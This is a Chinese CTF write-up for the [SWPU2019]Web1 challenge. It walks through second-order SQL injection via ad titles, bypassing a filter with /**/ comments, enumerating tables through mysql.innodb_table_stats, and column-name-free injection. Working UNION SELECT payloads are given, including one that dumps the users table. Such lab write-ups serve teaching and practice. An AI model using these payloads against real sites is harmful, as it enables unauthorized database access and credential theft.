[SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

[SWPU2019]Web1

好难一道题,发现自己有好多东西都没掌握,过去也就听个名字。

审题

注册个账号,登录
只有申请发布广告,发现可以把广告名字和内容插入页面
还有个查看详情按钮,单击后发现有一个get类型提交的id参数
可是尝试了

?id=1' and 1=1
?id=1' and 1=2
?id=1
?id=1)
//等等

啥反应也没有,应该是严格的过滤了
又由于之前的可以编辑广告内容和标题
猜测可以二次注入

猜测源码

在detail.php中显示的广告名称等都是从数据库中获得。
应该是先通过查询id获得名称,再通过名称查广告内容
何必多此一举????

$ads_name= select name from ads where id= _$GET["id"];
select ads where name='$ads_name';

二次注入

构造广告名

1'

点击详情后报错,成功注入
发现进行了过滤
or # %23 空格等都不能用了
考虑绕过
用/**/,'代替上述的空格和闭合符号

构造payload:
先看显示的位置
[SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注入点在2和3的位置
暴库

-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

======================================================

无列名注入

爆表
information_schema也被过滤了 使用替代的innodb数据库
[SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

当过滤了information_schema时可以用mysql.innodb_table_stats代替information_schema
(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database())

[SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

可是Innodb只有表名和数据库名,列名不知道啊

无列名注入基础

mysql> select 1,2,3,4,5 union select * from t2;
+----+------+----------+------------+---------------------+
| 1  | 2    | 3        | 4          | 5                   |
+----+------+----------+------------+---------------------+
|  1 |    2 | 3        | 4          | 5                   |
| 10 | 2020 | 14:35:23 | 2021-11-11 | 2021-11-11 14:35:23 |
|  9 | 2020 | 20:45:13 | 2021-11-10 | 2021-11-10 20:45:13 |
|  8 | 2020 | 20:45:13 | 2021-11-10 | 2021-11-10 20:45:13 |
|  7 | 2020 | 20:45:12 | 2021-11-10 | 2021-11-10 20:45:12 |
+----+------+----------+------------+---------------------+
5 rows in set (0.00 sec)
发现我们可以给表修改列名,只要知道表的具体列数
取别名的方法有两种
(xxxxxx)a
或者
1,2,3 as a   注:第二种只把最后一项3替换为`a`

于是可以在不知道原列名 的情况下查询特定的列名

mysql> select `5` from (select 1,2,3,4,5 union select * from t2)a;
+---------------------+
| 5                   |
+---------------------+
| 5                   |
| 2021-11-11 14:35:23 |
| 2021-11-10 20:45:13 |
| 2021-11-10 20:45:13 |
| 2021-11-10 20:45:12 |
+---------------------+
5 rows in set (0.00 sec)

select `5` from (select 1,2,3,4,5 union select * from t2)a;

等价于

select b from (select 1,2,3,4,5 as b union select * from t2)a;

PayLoad

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注:一些错误

Operand should contain 1 column(s)
错误原因:
往往是我们多出一列操作数,或者给的参数格式不正确

subquery returns more than 1 row

上一篇:女程序员年薪45万有两套房,哭诉相亲一直失败,网友:眼光太高


下一篇:编程教学1.2:运算